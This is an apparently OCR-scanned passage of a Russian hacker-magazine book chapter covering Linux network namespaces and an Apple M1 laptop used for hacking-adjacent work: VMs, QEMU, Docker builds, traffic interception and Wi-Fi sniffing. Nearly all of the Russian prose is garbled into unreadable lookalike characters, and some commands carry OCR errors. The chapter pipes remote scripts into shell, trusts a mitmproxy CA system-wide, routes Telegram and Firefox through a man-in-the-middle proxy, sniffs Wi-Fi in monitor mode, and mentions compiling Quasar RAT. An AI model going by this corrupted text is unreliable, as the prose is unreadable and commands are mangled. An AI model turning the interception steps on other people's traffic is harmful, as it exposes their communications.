npocTpaHCTBaM1 UMEH
Kak BuauM, ycTpoiicTBa U mpouecchl BHYTPH NMPOCTPAHCTBA UMEH OKa3bIBalOTCA B MOJI-

HOW M3onsuMH. B3auMoneiicTBue MeXIy pasHBIMH MPOCTPAHCTBAMH BO3MOXHO TOJBKO
Yyepes Mapy BUPTyalbHBIX HHTEPEHCOB.

H.Ilil 3TOr0 HUCIMOJIB3YIOTCA Cri€HAJIbHBIC HHTCpC])CﬁCBI THna veth. OHHU Bceraa co3garTcs
mapamHi, €o34aTth TOJIBKO OAHWH HEBO3MOXHO:

$ sudo ip link add name vethl type veth peer name veth2
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YCTPOHCTBO vethl MBI OCTaBHM B IIPOCTPAHCTBE UMEH 10 YMOIYAHHIO, a veth2 106aBUM
B mynamespace, 3aT€M BKIIOYHM 06a HHTepdeHca (OHH, Kak 0ObIYHO, CO3AI0TCA BBIKIIIO-
YEHHBIMH):

$ sudo ip link set dev veth2 netns mynamespace

$ sudo ip -n mynamespace link set veth2 up
$ sudo ip link set dev vethl up

MsI npucBOHM agpeca 060uM HHTepbeHcaM, H B3aUMOJEHCTBHE MEXAY MPOCTPaHCTBAMHU
UMeH OyIeT opraHu30BaHO Tak ke, KaKk MapLIpyTH3auus TpadHka Mexay pa3sHbIMH XOcC-
tamu. Mcnone3yem cets 10.136.0.0/30 anist cBs3u MeXay HUMHU:

$ sudo ip addr add 10.136.0.1/30 dev vethl

$ sudo ip -n mynamespace address add 10.136.0.2/30 dev veth2

$ ping 10.136.0.2
PING 10.136.0.2 (10.136.0.2) 56(84) bytes of data.
64 bytes from 10.136.0.2: icmp seg=1l ttl=64 time=0.057 ms

HobaBuM agpec uHTEpdEHCY dum? M CTAaTHYECKHMH MapLIpyT K €ro CETH W3 OCHOBHOIO
IPOCTPaHCTBA HMEH.

$ sudo ip -n mynamespace address add 10.134.0.1/24 dev dum2
$ sudo ip ro add 10.134.0.0/24 via 10.136.0.2

$ ping 10.134.0.1
PING 10.134.0.1 (10.134.0.1) 56(84) bytes of data.
64 bytes from 10.134.0.1: icmp seg=1 ttl=64 time=0.036 ms

HOCKOJILKy CBA3b MEXOY ITPOCTPAHCTBAMH HMEH HECOTIHYHMA OT (bH3I/I'-IeCKOI‘O COCOHHC-
HHUS HIIH TYHHEJId, C UX NMOMOLIBKO MOXHO TECTHPOBATh CLUECHApHUH HaCTpOﬁKPI cetu 6Oe3
CO3JaHHA OTACIBHBIX KOHTCﬁHCpOB HJIK BUPTYaJlbHbIX MAlIHH.

Cy1ecTByeT HECKOJIBKO IPOEKTOB LI HHTErpaluy ¢ systemd, NO3BOJIAIOLIHMX YIIPOCTHTD
H30JIALMIO IPUIIOXKEHUH, HanpuMep systemd-named-netns (https://github.com/Jamesits/
systemd-named-netns).

UToro

Kak BHAHULIB, AOPO Linux Npe€aOCTaBIICT MEXaHU3MBl H30JIAIHH CETEBOIO Tpa¢)m(a Ha
BC€ ClIy4aH XXU3HH — OT MHHHMaJIBHOH 10 MOJIHOM. Ha,ue}ocr,, 3Ta CTaThs MIOMOXET Tebe
BbIGpaTL Hy)!(HBIﬁ JJIA TBOHUX 3a1a4 U B(D(l)eKTHBHO HM BOCIIOJIB30BATHCHA.
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M1 ana xakepa. Tectupyem Homebrew,
Buptyanku, Docker n Node
Ha HOBOMU apxuTeKkType Apple

Henuc «nOa» CumoHoOs8

B 2020 roxy Apple npencrasuna (https://developer.apple.com/videos/play/wwdc2020/
10686/) HoByrO apxutekTypy Apple Silicon Ha 6aze ARM u 06bsBHIa, YTO B TEUEHHE
IBYX JIET TEepeBeleT Ha Hee BCE CBOM KOMITBIOTEpPHI. [l MPOCTHIX MOJb30BaTeNel MH-
rpauHs NpOXOIMT NMPaKTHYECKH HE3aMETHO, a KaK HacyeT NMpOABHHYTHIX? B 3Toit rnase
A pacckaxy o6 urorax roga ucrnonas3oBaHus MacBook Pro ¢ M1 BHyTpH M nokaxy Te
HEMHOTHeE MOABOJHbIE KAMHH, C KOTOPHIMH MHE JIOBEJIOCH CTOJIKHYTHCH.

BHewWwHN MOHUTOP

MakOykn M3 MepBoro MOKOJEHHs KOMNbIOTEpoB Ha M1 mnoanepHBaaH BCEro OIHMH
BHEIIHHH MOHUTOP (kK Mac mini MoxHO nmoakIo4uTh ABa). C BBIXOAOM HOBBIX MacBook
Pro na M1 Pro u M1 Max curyauus usmMeHunace: y Hux ects nopt HDMI, kotopsii
MO>XHO HCIOJIB30BaTh ISl BTOPOT'O 3KpaHa.

Ecnu xe MeHATh HOYTOYK THI [TOKa HE XO4Yellb, a Ui paboThl HYy)KHO HECKOJIBKO MOHH-
TOPOB, TO PELIEHHEM MOXKET CTaTh HOK-CTaHLHsA ¢ moaaepxkoi DisplayLink — Hampu-
mep, Dell D6000 mnu CalDigit. OgHako s IPOCTO OTKa3ajcs OT HCMOJIB30BaHHS TPEX MO-
HUTOPOB H Kymun oxuH, Ho UltraWide. [a, 3to He Retina Display, Ho ecniu Tebe HyXHO
paspewenue SK, 1o Bei6op He Bennk — Toabko LG UltraFine, crosmue 90 ¢ yeM-To ThI-
csi4 pyOneH.

HenaBHo ToBapHIIl MOCOBETOBAI MHE BEJIHKOJEMHYIO YTHIHTY, KOTOpas MO3BOJIAET B pa-
3bl yIy4ylIuTh paboty ¢ MouM MoHHUTOpoM. BetterDummy (https://github.com/
waydabber/BetterDummy) co3naeT GHKTHBHBIH THCIUIEH, KOTOPBIH MOAOEPKHBAET OT-
pPOMHBIH Habop pa3speweHHH Retina, a 3aTeM mepenaer kKapTHHKY ¢ Hero Ha TBoH. Eciu
TBOM MOHHTOp IJI0XO moanepkuBaercss B macOS, To 3Ta mporpamMma MOXeT KapIHHalb-
HO M3MEHHTH CHTYALHIO.
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Hanpumep, ans oucnnes c paspemendeM 3440 x 1440 s pekoMeHAyI HCIONIb30BaTh
cienyomuye HacTporkH (puc. 17.1).

Wcnonb3osats kax: - BUOEONOSTOP MOHMTOpa «Dummy 21.5:9%

Onrtumnzaums ana: - Dummy 21.5:9 4 752x1162
796x1170
838x1188

Paspeuwenve: MOAMAHWIO LA N

967x1242
3010x1260
063x1278

O 3096x1296
LiseroBoit npoduns: . SD 170M-A D 3139x1314

Yacrora obrosnenus: - 14474

Mosopor:  CrangaptHsii

lotoso

) 3569x1494

Puc. 17.1. ®anblmnebii gucnnen

EnuucTBeHHas npobiema, ¢ KOTOPOH s CTONKHYJICS MPH Kcnonb30BaHuK BetterDummy, —
HEBO3MOJXXHO BBICTABHTb BBICOKYIO 4acToTy oOHoBneHus (144 I'u). Okasanock, 4yTo 310
orpannuyenue APl CGVirtualDisplay B macOS, u ucnpaBuTh 3Ty MpoOIeMy MOXET TOJIb-
ko Apple. Bo3MoxHO, Bce H3MEHHTCS, KOraa MOsABHTCS moxanepxkka ProMotion s
AirPlay unu Sidecar.

Ecnu ThI X04els HMETh BBICOKYIO YacToTy oOHOBIeHHs 3kpaHa (144 T'u u BbluIe) ¢ pas-
pemrenreMm 3440 Ha 1440 Touek u Oosiee, TO mpuAeTcs OTKazaTthcs OT BetterDummy
U KynuTh otaenbHbli kabenp USB Type-C — DisplayPort. Uepe3 yHHBepcanbHble XaObl
(y mens Native Union) paboTaTh ¢ TAKHMH HacTpOHKaMH He BBIHAET — HE XBaTHT IIpO-
MYCKHOW CITOCOOHOCTH MOpTa uisi OMHOBPEMEHHOTO BBIBOJA HU300paXKEeHHS U MOAKIIOYE-
HHS nepUudepuu.

Homebrew u zsh

Homebrew — nonynspHbli cTOpoHHHI nakeTHbIH MeHemkep a1 macOS. Ecnu tebe
HY>XHa KaKasi-TO KOHCOJIbHAasl YTHIIMTA, TO, CKOpee Bcero, Thl Hainews ee B Homebrew.
C Bepcuu 3.0 Homebrew nonnepxuaer ARM. Jlo atoro pabouuM perieHreM Oblia yc-
taHOBKa Homebrew uepes cioi 6uHapHo# TpaHcasauuu Rosetta 2. CooTBeTCTBEHHO, BCe
MPHIIOXKEHHS, YCTAaHOBIIEHHBIE OTTY /14, TOXE MPOXOIUIH TPAHCIAUHIO 1 paboTanu (HO He
Tak OBICTPO, KaK MOTJIH Obl apMOBCKHE OHHAPHHUKH).
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Ceiiyac 10OCTaTO4YHO MOCTaBUTh Homebrew yepe3 CKpHUIT-YCTaHOBLIMK W IMOJIy4aTh Ha-
THBHBIE MakeThl 119 ARM.

$ xcode-select --install

$ /bin/bash -c "$(curl -fsSL
https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

$ echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >>
/Users/$ (logname) / .zprofile

$ eval "$ (/opt/homebrew/bin/brew shellenv)"

Ho eciau noHago6utcs MNEPEKIIOYATECA MEXAY apXUTCKTYypaMH, TO MOXCEIIb CACJIATh CE-
6e Takue anuacel B aitiie ~/ .bashrc WIH ~/ . zshrc:

alias intel="env /usr/bin/arch -x86_64 /bin/zsh --login"

alias arm="env /usr/bin/arch -armé64 /bin/zsh --login"

YyTh Mo3xe Mbl CTOJKHEMCS C NMPAaKTHYECKUM MPHUMEHEHHEM TaKOTO PELIEHHS, HO €CIIH
BKpaTIie, TO CKPUIT KOHHUrypauuu (./configure) nepea cOOpKOH onpenenseT nepeMeH-
HbI€ CHCTEMBI, B TOM YHCIIE€ U I KaKOH apXHUTEKTypbl KOMITMIIMPOBATh NpoekT. Hampu-
Mep, eclu cefyac BbIOpaTh pexxuM 1386 npu ycranoBke Homebrew, To BMecTo OHHapHH-
koB 111 ARM64 Mbl nmonydyum BepcuH mis x86 64, 4to npuBeaeT K NoTepe NpOU3BOAH-
TEJILHOCTH.

BupTtyanbHble MaLIUHbI

Parallels Desktop

IMponyxt Parallels — 3T0 B 1aHHBIA MOMEHT camMoe (PyHKIIMOHAIBHOE pELIEHHE IS BUD-
Tyanuzauuu Ha M1. HemapoMm ero mokassiBanu Ha npe3eHtauun Apple. Uepes Parallels
Desktop MOXHO B OAHMH KJIHMK YCTaHOBUTH AUCTpHOyTuBbI Ubuntu, Fedora, Debian u
macOS Monterey. C Bepcuu 17.1.1 nobaBneHa monmepkka akTyaJlbHOH Ha JaHHOH Mo-
MeHT Bepcud Kali Linux — 2021.3.

JpaiiBepbl rocTEBbIX MaIlHH ONTHMHU3UPOBaHbI U paboTaroT Oe3 HapekaHui (6ydep 00-
ME€Ha, CeThb, OTWHaMHYecKoe paspewieHHe, 3D-yckopenne u npoune ¢uuu). [Ipobpoc
amanrtepa Wi-Fi unu moboro npyroro ycrpoictsa paboTaeT KOppeKTHO.

OtnenbHo xouetcs moroBopuTh 0 Windows 11 ans ARM, koTopast yMeeT TpaHCIHPOBAaTh
kox npuinoxeHud x86 64 B HatuBHbIE BhI30BEI ARM. IlpuueM ngenaer 3To BecbMa kaye-
CTBEHHO, Kak M Rosetta 2. [Ipy momMomu Takoi MaTpelIKH MHE yAaaoCh 3alyCTHTh OT-
JamqyuK 1A koga x64 u 6e3 npobiieM yBunets peructpsl RBX, RSP, RBP u tak nanee.

Tax e paboraer u Visual Studio, koTopast cMorjia CKOMIHWJIHPOBaTh HEOOIBIIOH TECTO-
BhIi npoekT (Quasar RAT) B xiaccuueckyro apxurektypy i386. M 310 Bce Ha BUpPTyaib-
HO MamuHe ¢ rocteBod Windows, s KOTOpoH xocTtoM BhicTynaeT macOS mis ARM.
®anracrtuka (puc. 17.2)!

He Mory He oTMeTHTh 3Heproad¢ekTHBHOCTH MpHU paboTe ¢ BUPTYalbHBIMH MalIHHAMH.
3anmyuwenHsle poHoM VM 6e3 ceppe3HOM Harpy3kd MPaKTHYECKH HE BIHUSAIOT Ha BpEMs
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paboTbl OT akkyMmyhstopa. [ToMHMoO 3TOro, B HOBEIX Bepcusx Parallels Obin nobarnen
pPeXUM MOE3KH, B KOTOPOM €llle CHIbHEe CHHXKaeTcs JHepronorpedneHue npu Gesnei-
cTBHH VM.

wa ) O cucteme

Puc. 17.2. Pa6oraet!

VMware

Euwe oaMH npou3BoAMTENb MONYJSAPHBIX pElleHHH AN BUPTyalu3aUMH 10 HEeJaBHEro
BpeMeHH ObL1 32 OopTOM 3aTesiHHOro Apple nepeBopoTa, HO B KoHLe ceHTsa0pst 2021 rona
koMnaHuss VMware rmpeacraBuna Ha BceoOuiee 0003peHHE TEXHHUYECKOe MpPEBbI0
VMware Fusion (puc. 17.3).

" eEDPOMSE

bit Atm 20.04.3

@
B

Puc. 17.3. Ubuntu B8 VMWare
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Ceiiuvac VMware Fusion MoxHO OecriaTHO 3arpy3uTh Ha CTpaHHLE IPOAYKTa
(https://vmware.com/go/get-fusion-m1) WIH xe o psIMOH CCBIJIKE
(https://download3.vmware.com/software/fusion/file/'VMware-Fusion-e.x.p-18656771 _
arm64.dmg). MuHuManbHbIA HabOp yAOOCTB MPHUCYTCTBYET, oaHako B Ubuntu MHe He
yaanock HacTpouTh VMware Tools. 5 ycTaHOBHI OTKpBITY0 BEpCHIO — open-vm-tools,
HO U 3TO HE [TOMOIJIO MHE CHeJIaTh aIalTHBHOE pa3pelleHne 3KpaHa i OOLLHii ¢ XOCTOBOMH
cucremoi 0ydep ooMeHa.

B obuiem, pelieHne crIpoBaToe, HO BITOJIHE paboTOCIIOCOOHOE U MOKa YTO OecraTHoe.

QEMU

QEMU — 3710 rnbi6a He TOIBKO Cpeau NMPOAYKTOB 3MYJISALMH, HO U CPEIH CPEACTB ara-
paTHOH BUpTyanu3auuH. JTo ocHoBa rumnepsusopa KVM, koropsiit ucnosib3yer ammna-
paTHblE BO3MOXHOCTH COBPEMEHHBIX IpoueccopoB. baszoBas moanepxka Apple Silicon
yxe ectb B QEMU, u ee aktuBHO nOopabarbiBaioT. Tak yTO €ro B psiie CIy4yaeB MOXXHO
HCII0JIb30BaTh KaK MOIIHOE CPEACTBO BUPTyanu3auuu Ha M1.

YcTtaHoBka QEMU

514 Hayana moaroToBUM HEOOXOOMMBbIE TAKeThI 1)1 COOpKH:
$ brew install libffi gettext glib pkg-config autoconf automake pixman ninja
Knonupyem penosutopuit QEMU, noGaBnseM BETKY CO BKIIOYEHHBIM pacIIHpEHHEM

BFloatl 6 u mpumenseM naty Anekcanapa I'pada:

$ git clone https://github.com/gemu/gemu && cd gemu
$ git checkout 3c93dfad2c394fdd55684f2fbf24cf2£39097d47
$ curl https://patchwork.kernel.org/series/485309/mbox/ | git am

Cobupaem u ycranaBiauBaem QEMU:

$ mkdir build && cd build

$ ../configure --target-list=aarché64-softmmu
$ make -3j8

$ sudo make install

I'oTOBO, MOXHO IOJIB30BaTHCS!

Cos3naHue BupTyanbHou mawuHbl ¢ Ubuntu B8 QEMU

[Hasaii nonpobyem nocrasuts Ubuntu 11 x86 64,

Ilepen ycTaHOBKON HYXHO MMOATOTOBUTH TUCK: _

$ curl https://cdimage.ubuntu.com/releases/20.04/release/ubuntu-20.04.3-1ive-
server-armé4.iso -o ubuntu-20.0.4.iso

$ gemu-img create -f gcow2 virtual-disk.qgcow2 8G

$ cp $(dirname $(which gemu-img))/../share/gemu/edk2-aarché64-code.fd .

$ dd if=/dev/zero conv=sync bs=1m count=64 of=ovmf vars.fd
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$ gemu-system-aarch64 \
-machine virt,accel=hvf, highmem=off \
-cpu cortex-a72 -smp 4 -m 4G \
-device virtio-gpu-pci \
-device virtio-keyboard-pci \
-drive "format=raw, file=edk2-aarché64-code.fd, if=pflash, readonly=on" \
-drive "format=raw,file=ovmf vars.fd,if=pflash" \
-drive "format=qcow2, file=virtual-disk.qcow2" \
-cdrom ubuntu-20.0.4.iso

Tlocne 3Toii KOMaHIB! JOMXKHA 3allyCTHTBCA YCTaHOBKa Ubuntu. ITo 3aBE€PLICHHUH 3aIlyC-
Ka€M BHPTYAJIbHYIO MAallIMHY!:
$ gemu-system-aarch64 \
-machine virt, accel=hvf, highmem=off \
-cpu cortex-a72 -smp 4 -m 4G \
-device virtio-gpu-pci \
-device virtio-keyboard-pci \
-drive "format=raw, file=edk2-aarch64-code.fd, if=pflash, readonly=on" \
-drive "format=raw,file=ovmf_vars.fd, if=pflash” A\
~drive "format=qcow2, file=virtual-disk.gcow2" \
-nic hostfwd=tcp:127.0.0.1:4422-0.0.0.0:22 &

Jns koHHekTa mo SSH:

$ ssh <username>@127.0.0.1 -p 4422

Jns Windows Bce aHaJIOTHYHO, OTJIHYHS B 000pyn0BaHHH, GopmaTe obpa3a AUCKa U elle
BCsIKOE MO Meno4yHu. EnuHCcTBeHHBIH MUHYC npsMoit pabotel ¢ QEMU — Bce mpunercs
nenatb pykaMu. C Ipyroi cTopoHsl, 310 no6anser rubkoctu. OgHaKko MOXXHO U H30e-
XaTh JIMIUHErO TpyAa, eclu ucnoab3oBaTh yTwiuTty UTM (https://mac.getutm.app).
BoT nonesHsle cChUTKH MO 3TOH TEME:

O How to run Windows 10 on ARM or Ubuntu for ARM64 in QEMU on Apple Silicon
Mac (https://gist.github.com/niw/e4313b9c14e968764a52375da41b4278)

3 3D accelerated gemu on MacOS
(https://github.com/knazarov/homebrew-qemu-virgl)

O Running Linux and Windows on M1 with QEMU
(https://gist.github.com/citruz/9896cd6fb63288ac95f81716756cbh%aa)

3 Apple Silicon M1 QEMU
(https://gist.github.com/frazei/0c9d71ff248a60095ce5542053a974ef)

UTM

QEMU — MorHas mTyka 4 B YMEJBbIX pyKax MOXET TBOPUTb yyneca. OnHako He Bcerna
ynoOHO pa3bupaThCsl B TMATHITAXHBIX apryMeHTax KOH(QUIYpauuH, OCOOEHHO eciH
HY>XHO YTO-TO OBICTPO W3MEHHUTH UM 100aBUTb.
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UTM (https://mac.getutm.app/) — 3710 rpaduueckas 0b6ono4yka, KOTOpas 3HAYHUTENHLHO
ynpomaer pabory ¢ QEMU B macOS. VYV mnpoekra ecTs OQUUHATBHBIA CaHT
(https://mac.getutm.app/) u peno3uropuii Ha  GitHub  (https://github.com/
utmapp/UTM).  OtaensHO  CTOMT  OTMETHTh  Tajeperd  TOTOBbIX ~ 00pa3oB
(https://mac.getutm.app/gallery/) nns Geictpoii packarku. Cpeau 0XHIAEMBIX CHCTEM
MoxHO HalTH ReactOS (x86), Sun Solaris (SPARC), Mac OS 9.2.1 (PPC) u crapyuky
Windows XP (x64). KoneuHo, 3tu pebsarta B amMynsauuu OyayT paboTate He Tak ObICTpO,
KaK rOCTEBbIE CHCTEMBI ¢ oanepxkoil ARM, 3aTo kak 3penuuso (puc. 17.4)!

®9 Mac 05 9.2.1

" & vile Edit Yiew Window Special Heip

vesnaeRe 2
GBI NI AC 10217703 BRI AT yoron 25+
Built-in Memory: 51274 i o * Srden U A ]
Virtusl Memery: 513 15 dan an uatitied
Lorgest Unused Block: 436 4118

" EME St PC (O & BT,

i Yersisa: tuwcoss 21
55160 of R

Puc. 17.4. macOS 8 macOS

51 npakTHYECKH HE HCIONB3YI0 3TO PElIeHHE, MOCKOJIBKY paboTaTh ¢ cOPTOM B rOCTEBOMH
OC Bce xe HeynobHo, na U crabunpHocTh He Onewer. Ho ObiBaioT ciyyau, koraa 3Ta
IITYKa MOXET BBIPYYHUTb.

CyuectByer, kcrati, 1 Bepcus UTM s 10S (https://getutm.app/install/), Ho ycraHo-
BHTb €€ MOXHO TOJIBKO Yepe3 CaA0aJHHT.

VirtualBox (cnonnep: ero HeT)

VBbI, pa3dpabOTYHKH ITOrO MOMYNSAPHOIO OMEHCOPCHOTO PEIIEHHS [UIS BHPTYaTH3aLHH
noka yto He gobpanuce 10 M1. A 3TO 3HAYMT, YTO HENb3s 3aMyCTHTh M BHUPTYaJKH C
Android Bpone Genymotion, NoxPlayer u BlueStacks. Tak uTto moka mpuxomuTcs mo-
BosibcTBOBaThCA Android Developer Studio.

Metasploitable3

Korza s momneitancs HCronb30BaTh 3Ty BUPTYyAIbHYHO MAIIHHY AJI TECTUPOBAHUS IKCILIOU-
TOB, TO CTOJIKHYJICS ¢ ipobnemoi. 3anycTuTs ee nomy4dwnnock Juws B QEMU, Ho paborats ¢
KOMGOPTOM 3TO HE MO3BOJISIET — MPOU3BOJUTENBHOCTD BBIXOJHT CIIUILIKOM HU3Kas.



00— 222 —0O0

K tomy xe B macOS Big Sur u Monterey QEMU He MoxeT ucnonb3oBaTh Npodpoc nop-
ToB depe3 NAT u3-3a orcyrcTBuss TAP-yCTpOHCTB (BHpTyanbHblE CETEBBIE ApanBEpBI
aapa cuctembl 1uid amyasund Ethernet). EquHcTBeHHas BO3MOXKHOCTS — nepeaapecauus
JIOKaNbHOIO MOpPTa Ha BUPTYajbHYK MalUMHY, kKaKk B npuMmepe ¢ ycraHoBkoi Ubuntu
Server Bbiie 1 SSH-g0CcTYynoOM k Hel.

Docker u Node.js

Ceityac ¢ Docker cnoxnocrel npaktHuecku HetT. [IpuinoxkeHne JaBHO HaTHBHOE, yCTa-
HoBka — craHaapTHas (https://docs.docker.com/desktop/mac/apple-silicon/).

EnvHCTBEHHBIH HIOAHC, O KOTOPOM XO4YeTCs pacckasaTrb, — 3TO oTcyTcTBHe B Docker
Hub Bepcuit HexoTopbix 0OpazoB a1t ARM. A ewe ObiBaer, yTo 00pa3 ecTh, HO B HEM
HECOBMECTHMble OHOIHOTEKH, KOTOpblE HYXKHO NEpeKoMNuIHpoBaTh. Ecnu B mepBom
Cclly4yae BCE QUEBHIHO, TO O BTOpoH npobsieme s Ob1 XOTEN NOroBOPUTh NOAPOOHEE.

Hanpumep, B cBoeM mnpoekTe s CTONKHYJICA C TEM, YTO HEBO3MOXHO coOpaTh MOIyJb
sharp@0.28.3 nns Node.js B 6a3oBoM o6pa3e Node u3 Docker Hub.

Sharp — 3T0 BbICOKOCKOPOCTHOW Moayne Node.js ans npeobpa3oBanna 6onelumnx nobpa-
XeHul pacnpocTpaHeHHblx chopmatos (JPEG, PNG, AVIF n WebP) B 6onee menkue.

B aroM nonynapHoM o6pa3e Obuin mpobiaembl ¢ 3aBucuMocTAMH. Kak okasanochk
(https://github.com/lovell/sharp/issues/2482), cTonkHyICs ¢ HUMH HE 1 OJHH.

CyTtb npobneMsl — B TOM, uTo B 00pa3ze Docker ans cbopku 3aBucHMocTeii nmakera sharp
HeoOxoaumMa 6ubnmoreka libvips Bepcuu 8.10.6 nnu crapiue, koropas uaer c glibe 2.29+.
B cBoem daiine cObopku s ucnons3oBan o6pa3 node:16.3-buster-slim ¢ glibc 2.24. ITona-
o0HI0CHh BpyYHYH0 coOMpaTh MOAXoaALIY 0 Bepcuto libvips.

Moii Dockerfile:

FROM node:16.3-buster-slim

WORKDIR /opt/app

ADD . .

RUN npm install

RUN npm run build api

CMD ["node", "./dist/apps/api/main.js"]

Jlor ycraHoBkH Sharp Ha node:16.3-buster-slim:

#8 21.23 sharp: Installation error: Use with glibc 2.24 requires manual
installation of libvips >= 8.10.6

#8 21.23 sharp: Please see https://sharp.pixelplumbing.com/install for required
dependencies

#8 21.47 npm WARN The package typescript is included as both a dev and
production dependency.

#8 21.48 npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@2.3.2

(node _modules/fsevents) :

#8 21.48 npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for
fsevents@2.3.2: wanted {"os":"darwin","arch":"any"} (current:

{"os":"1linux", "arch":"arm64"})



H=—= 223 —0

#8 21.48
#8 21.51 npm ERR! code ELIFECYCLE
#8 21.51 npm ERR! errno 1

#8 21.51 npm ERR! sharp@0.28.3 install: (node install/libvips && node
install/dll-copy && prebuild-install) (node install/can-compile && node-gyp
rebuild && node install/dll-copy) "

#8 21.51 npm ERR! Exit status 1

B Tako#i cutyauuu Hy>xHO uin nepecobuparts libvips s ARM64, winu xxe ucrnonb3oBarthb
Oonee cBexHi 00pa3 onepalHOHHON cucTeMsl. Hanpumep, MoxxHO B3sTh node:14-alpine,
KOTOPBIH YXe€ COJEpXXHUT CKOMMWIMpOBaHHbIe Ms ARM OHHAapHMKM M 3aHUMaeT Ha
700 M6aiit menbliue, yem Debian.

A BbIOpan xapaAKOpHBIN BapuaHT nepecoopku 6ubnuoreky libvips non ARM64. [To6aBun
HeckoJibko cTpok B Dockerfile:
FROM node:16.3-buster-slim
RUN apt-get update -gg && apt -y upgrade && \

apt-get install -y git build-essential libpng-dev wget pkg-config glib2.0-
dev libexpatl-dev autoconf nasm libtool dpkg g++
RUN wget https://github.com/libvips/libvips/releases/download/v8.12.1/vips-
8.12.1.tar.gz
RUN tar xf vips-8.12.l1.tar.gz && cd vips-8.12.1 && ./configure && make && make
install && ldconfig

WORKDIR /opt/app

ADD . .

RUN npm install

RUN npm run build api

CMD ["node", "./dist/apps/api/main.js"]

U cobupato 6e3 oundok.

docker build -t test -f apps/api/Dockerfile

B obmem, korga paboraelub Ha MeHee MOMYJISIPHOH apXHTEKTYpe, 3TO MOXET BpeMs OT
BpEeMEHH NPUBOAMTH K MpobiiemaM Bpoje ToH, uto s onucai. Ho 3aTo Teneps Thl 3Haellb,
4TO Je/1aTh B TAKUX cyyasx!

NMpokcuposaHue Tpacuka
npunoxeHnn macOS

s mepexBata M aHanM3a Tpaduka e€cTb OTJIMYHAsg YTHIMTAa mitmproxy, a B Mape ¢
ProxyChains-ng oHM cnocoOHbl 3aMHTMHUTb NpakTHYeckH jt00oe nmpuioxeHne macOS,
koTopoe ucnonbdyetr HTTP.

B Hauane rnaBbl Mbl €124 OBICTpBIE ajlMachl Ul MEPEKIIOUEHHUs apXHTEKTYyp, Tenepb
camoe BpeMms HUX nNpuMeHUTb. K cioBy, noaaepxxky macOS Monterey u Ml
B ProxyChains-ng no6aBunu coBcem HeaBHO — B Hauaic sHBaps 2022 roza.
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Mze! cobGepem aBe pa3Hble Bepcuu O6ubnuotek libproxychains4.dylib nns pabotsl ¢ o6eu-
MM apXUTEKTYpaMH. BONbLIMHCTBO MpOrpaMM yHHBEpCalbHbl U CKOMIMIMPOBAHBI VIS
ABYX apxHTeKTyp cpa3y (Mach-O universal binary). Hanpumep:

$ file /usr/bin/python

/usr/bin/python: Mach-O universal binary with 2 architectures: [x86_64:Mach-0
64-bit executable x86_64] [arm6d4e:Mach-O 64-bit executable arméde]

/usr/bin/python (for architecture x86_64): Mach-O 64-bit executable x86_64
/usr/bin/python (for architecture armé6de): Mach-O 64-bit executable armé6de

Bepcun mns x86_64 u nns ARM npenHa3zHadeHbl A pabOThl ¢ MPHIIOXKEHUAMH, COO-
PaHHBIMH N10J1 COOTBETCTBYOIIIME apXUTeKTYphl. HauHeM ¢ x86 64.

$ intel

$ arch

1386

$ git clone https://github.com/rofl0r/proxychains-ng

$ cd proxychains-ng

$ ./configure

$ make && make install

IIpobyeM, Hanpumep, ¢ TOR:

$ proxychains4 curl icanhazip.org

[proxychains] config file found: /usr/local/etc/proxychains.conf

[proxychains] preloading /usr/local/lib/libproxychains4.dylib

[proxychains] DLL init: proxychains-ng 4.15-git-8-g2739fb5

[proxychains] Strict chain ... 127.0.0.1:9050 ... icanhazip.org:80 ... OK
45.153.160.135

OtauyHo paboraer mis yruiutsl curl. JJaBait nonpobyem caenats npokcu mis Telegram.
OH kak pa3 HanucaH ToJbko nox ARM, u Ham noTpebyercs nepecobpars proxychains4.

Y noctoBepuMcs, 4TO 3TO NpuiIokeHue it ARM:

$ file /Applications/Telegram.app/Contents/MacOS/Telegram

/Bpplications/Telegram.app/Contents/MacOS/Telegram: Mach-O 64-bit executable
arm64

Bce Tak, Teneps MEHsEM apXUTEKTYpY:
$ arm

$ arch

armo4

[Tepecobepem ProxyChains-ng:

$ make clean
$ ./configure
$ make
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3nech s HAMEPEHHO He NeNajl make inastall, TaK Kak 3aTpeTCs MpebIayLlas BEpCHs.
Byny 3anyckarb M3 nanku proxychains-ng. [locne c6opku OuHapHuk U OubnuoTeka je-

*Kat B KopHe. [ToIKOppeKTHPYO KOHGHT:

$ cp src/proxychains.conf ./
$ sed -1 '' 's/socks4/#socksd/g' proxychains.conf
$ echo "http 127.0.0.1 8080"™ >> proxychains.conf

Teneppb ycTaHOBUM mitmproxy:

$ brew install mitmproxy

IIpoBepum pabory:

$ mitmproxy

YcraHOBUM HE00X0AUMbIE CEPTHHKATHI:

$ sudo security add-trusted-cert -d -p ssl -p basic -k

/Library/Keychains/System.keychain ~/.mitmproxy/mitmproxy-ca-cert.pem

B onHo¥i Bkiamke TepMHHaja 3amyckaeM mitmproxy, B Apyroi — Telegram uepe3s

proxychains:

$ ./proxychains4 /Applications/Telegram.app/Contents/MacOS/Telegram

KoneuHno, nomumo «Tenerpamay», Mbl MO’keM INepexBaTbiBaTh, HanpuMep, Lenbli Firefox
M CMOTpETb, KyJa JIETAT 3allpochl caMoro Opay3sepa uiH ero pacwuperui (puc. 17.5):

$ proxychains4 /Applications/Firefox.app/Contents/MacOS/firefox

Puc. 17.5. MitM paGotaet 6e3 HapekaHui
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TakuM 00pa3oM, MBI MOXXEM 3aXBaThlBaTh TPapUK NPAaKTHYECKH JIIOOBIX IMPUIIOKEHHUH
s macOS. K cnoBy, s aHanu3a Tpaduka Ha uHTepdelice Bcerna MOXHO HCIOJb30-
BaTh Wireshark, koTopslif ¢ Bepcu# 3.6.0 cTan HaTUBHBIM IPHIIOKEHHEM JUIS aPXUTEKTY-
pbl ARM.

Wi-Fi n 3axBaT nakeToB

Crannaprhsiit agantep Wi-Fi, KoTopblif cTaBAT B MakOyKH, BIIOJIHE HEIUIOX0 paboTaeT B
PEXKUME MOHHTOPHHIa M II03BOJIAET 3aXBaThIBaTh IIAKETHl Ha ONPENEJICHHOM KaHaJe.
ITpogeMoHCTpUPYIO 3TO Ha MIPAKTHKE;

$ sudo 1ln -s
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resourc
es/airport /usr/local/bin/airport

$ airport -s # CMoTpum ceTu

$ sudo airport -z # OrTksnouaeMcs OT AKTMBHBIX CeTeit
$ airport <interface> sniff <channel>

